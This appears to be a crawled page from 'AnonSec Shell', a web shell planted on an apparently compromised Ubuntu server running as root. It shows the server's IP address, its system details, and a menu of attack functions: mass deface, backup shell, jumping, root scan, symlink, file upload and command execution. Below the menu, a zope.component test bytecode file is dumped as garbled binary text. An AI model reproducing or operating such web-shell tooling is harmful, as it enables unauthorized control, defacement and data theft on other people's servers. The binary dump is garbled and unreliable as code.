AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/zope/component/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/zope/component/tests/__pycache__/test__declaration.cpython-310.pyc
o

,�W�@sNdZddlZGdd�dej�ZGdd�dej�ZGdd�dej�Zd	d
�ZdS)z!Test adapter declaration helpers
�Nc@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�Test_adaptercCsddlm}|S)Nr)�adapter)�zope.component._declarationr)�selfr�r�H/usr/lib/python3/dist-packages/zope/component/tests/test__declaration.py�_getTargetClassszTest_adapter._getTargetClasscGs|��|�S�N)r)r�
interfacesrrr�_makeOneszTest_adapter._makeOnecCs|��}|�t|j�g�dSr	)r�assertEqual�listr
)r�decorrr�test_ctor_no_interfacessz$Test_adapter.test_ctor_no_interfacescCsRddlm}Gdd�d|�}Gdd�d|�}|�||�}|�t|j�||g�dS)Nr��	Interfacec@�eZdZdS)z1Test_adapter.test_ctor_w_interfaces.<locals>.IFooN��__name__�
__module__�__qualname__rrrr�IFoo!�rc@r)z1Test_adapter.test_ctor_w_interfaces.<locals>.IBarNrrrrr�IBar#rr)�zope.interfacerrrr
r
)rrrrrrrr�test_ctor_w_interfacess
z#Test_adapter.test_ctor_w_interfacescCs^ddlm}Gdd�d|�}Gdd�d|�}|�||�Gdd�dt��}|�|j||f�dS)	Nrrc@r)z/Test_adapter.test__call___w_class.<locals>.IFooNrrrrrr*rrc@r)z/Test_adapter.test__call___w_class.<locals>.IBarNrrrrrr,rrc@r)z.Test_adapter.test__call___w_class.<locals>.BazNrrrrr�Baz.�r)rrr�objectr�__component_adapts__)rrrrrrrr�test__call___w_class(s
z!Test_adapter.test__call___w_classcCsbddlm}Gdd�d|�}Gdd�d|�}|�||�Gdd�dt��}|�}|�tt|d	�dS)
Nrrc@r)zATest_adapter.test__call___w_inst_of_decorated_class.<locals>.IFooNrrrrrr5rrc@r)zATest_adapter.test__call___w_inst_of_decorated_class.<locals>.IBarNrrrrrr7rrc@r)z@Test_adapter.test__call___w_inst_of_decorated_class.<locals>.BazNrrrrrr9rr�__component_adapts_)rrrr�assertRaises�AttributeError�getattr�rrrrr�bazrrr�&test__call___w_inst_of_decorated_class3s
�z3Test_adapter.test__call___w_inst_of_decorated_classcCshddlm}Gdd�d|�}Gdd�d|�}Gdd�dt�}|�||�}||��}|�|j||f�dS)	Nrrc@r)z3Test_adapter.test__call___w_non_class.<locals>.IFooNrrrrrrBrrc@r)z3Test_adapter.test__call___w_non_class.<locals>.IBarNrrrrrrDrrc@r)z2Test_adapter.test__call___w_non_class.<locals>.BazNrrrrrrFrr)rrrrrr)rrrrrrr&rrr�test__call___w_non_class@s
z%Test_adapter.test__call___w_non_classN)
rrrrrrrr r'r(rrrrrs	
rc@s8eZdZ	d
dd�Zdd�Zdd�Zdd	�Zd
d�ZdS)�Test_adaptsTc	Cs�ddl}d}|jdd��N}|��|s*t|||�|�t|�d�	Wd�dSzt|||�WntyBYWd�dSw|rR|�d�Wd�dSWd�dS1s]wYdS)NrFT��record�Didn't raise TypeError)�warnings�catch_warnings�
resetwarnings�execr�len�	TypeError�fail)r�code�globs�locs�fails_under_py3kr-�PYTHON3�logrrr�_run_generated_codeOs(��	�"�zTest_adapts._run_generated_codecsJddlm�G�fdd�dt��|��jd��fdd�}|�t|�dS)Nr��adaptscseZdZ��dS)z2Test_adapts.test_instances_not_affected.<locals>.CNrrr;rr�Cfs
r=rcs��jSr	)rr)r=rr�_tryjsz5Test_adapts.test_instances_not_affected.<locals>._try)rr<rrrr"r#)rr>r)r=r<r�test_instances_not_affectedds
z'Test_adapts.test_instances_not_affectedc
Cs�ddl}ddlm}ddlm}Gdd�d|�}||d�}i}d�dd	g�}|�|||d
�r]|d}|jdd
��}	|��|�	t
|�|�t|	�d�Wd�dS1sVwYdSdS)Nrr;rc@r)z3Test_adapts.test_called_from_function.<locals>.IFooNrrrrrrrrr�r<r�
z
def foo():�    adapts(IFoo)F�fooTr*)
r-rr<rr�joinr:r.r/r"r2rr1)
rr-r<rrr5r6�CODErCr9rrr�test_called_from_functionns$
�"��z%Test_adapts.test_called_from_functionc	Cs�ddl}ddlm}ddlm}ddlm}Gdd�d|�}Gdd�d|�}|||d	�}i}d
�gd��}	|jdd
��6}
|�	�zt
|	||�Wnty[|sY|�t
|
�d�Ynw|�d�Wd�dSWd�dS1stwYdS)Nrr;r)r8c@r)z6Test_adapts.test_called_twice_from_class.<locals>.IFooNrrrrrr�rrc@r)z6Test_adapts.test_called_twice_from_class.<locals>.IBarNrrrrrr�rr)r<rrrA)�class Foo(object):rBz    adapts(IBar)Tr*r,)r-rr<rr�zope.interface._compatr8rDr.r/r0r2rr1r3)rr-r<rr8rrr5r6rEr9rrr�test_called_twice_from_class�s,����"z(Test_adapts.test_called_twice_from_classc	Cszddlm}ddlm}Gdd�d|�}||d�}i}d�dd	g�}|�|||�r;|d
}|j}|�t|�|g�dSdS)Nrr;rc@r)z5Test_adapts.test_called_once_from_class.<locals>.IFooNrrrrrr�rrr@rArGrB�Foo)	rr<rrrDr:rrr
)	rr<rrr5r6rErJ�specrrr�test_called_once_from_class�s
��z'Test_adapts.test_called_once_from_classN)T)rrrr:r?rFrIrLrrrrr)Ms
�
r)c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�Test_adaptedBycCsddlm}||�S)Nr)�	adaptedBy)rrN)r�objrNrrr�_callFUT�szTest_adaptedBy._callFUTcCs|�|�t��d�dSr	)rrPr)rrrr�test_obj_w_no_attr�sz!Test_adaptedBy.test_obj_w_no_attrcs\ddlm}Gdd�d|��Gdd�d|��G��fdd�dt�}|�|�|���f�dS)	Nrrc@r)z1Test_adaptedBy.test__call___w_class.<locals>.IFooNrrrrrr�rrc@r)z1Test_adaptedBy.test__call___w_class.<locals>.IBarNrrrrrr�rrcseZdZ��fZdS)z0Test_adaptedBy.test__call___w_class.<locals>.BazN�rrrrr�rrrrr�sr)rrrrrP)rrrrrSrr �s
z#Test_adaptedBy.test__call___w_classcslddlm}ddlm�Gdd�d|��Gdd�d|��G���fdd	�d	t�}|�}|�|�|�d�dS)
Nrr)�
_adapts_descrc@r)zCTest_adaptedBy.test__call___w_inst_of_decorated_class.<locals>.IFooNrrrrrr�rrc@r)zCTest_adaptedBy.test__call___w_inst_of_decorated_class.<locals>.IBarNrrrrrr�rrcseZdZ���f�ZdS)zBTest_adaptedBy.test__call___w_inst_of_decorated_class.<locals>.BazNrRr�rrrTrrr�sr)rrrrTrrrP)rrrr&rrUrr'�sz5Test_adaptedBy.test__call___w_inst_of_decorated_classcCsfddlm}Gdd�d|�}Gdd�d|�}Gdd�dt�}|�}||f|_|�|�|�||f�dS)	Nrrc@r)z5Test_adaptedBy.test__call___w_non_class.<locals>.IFooNrrrrrr�rrc@r)z5Test_adaptedBy.test__call___w_non_class.<locals>.IBarNrrrrrr�rrc@r)z4Test_adaptedBy.test__call___w_non_class.<locals>.BazNrrrrrr�rr)rrrrrrPr%rrrr(�s
z'Test_adaptedBy.test__call___w_non_classN)rrrrPrQr r'r(rrrrrM�s
rMcCs"t�t�t�t�t�t�t�f�Sr	)�unittest�	TestSuite�	makeSuiterr)rMrrrr�
test_suite�s
�rY)�__doc__rV�TestCaserr)rMrYrrrr�<module>s
;_,

Anon7 - 2022
AnonSec Team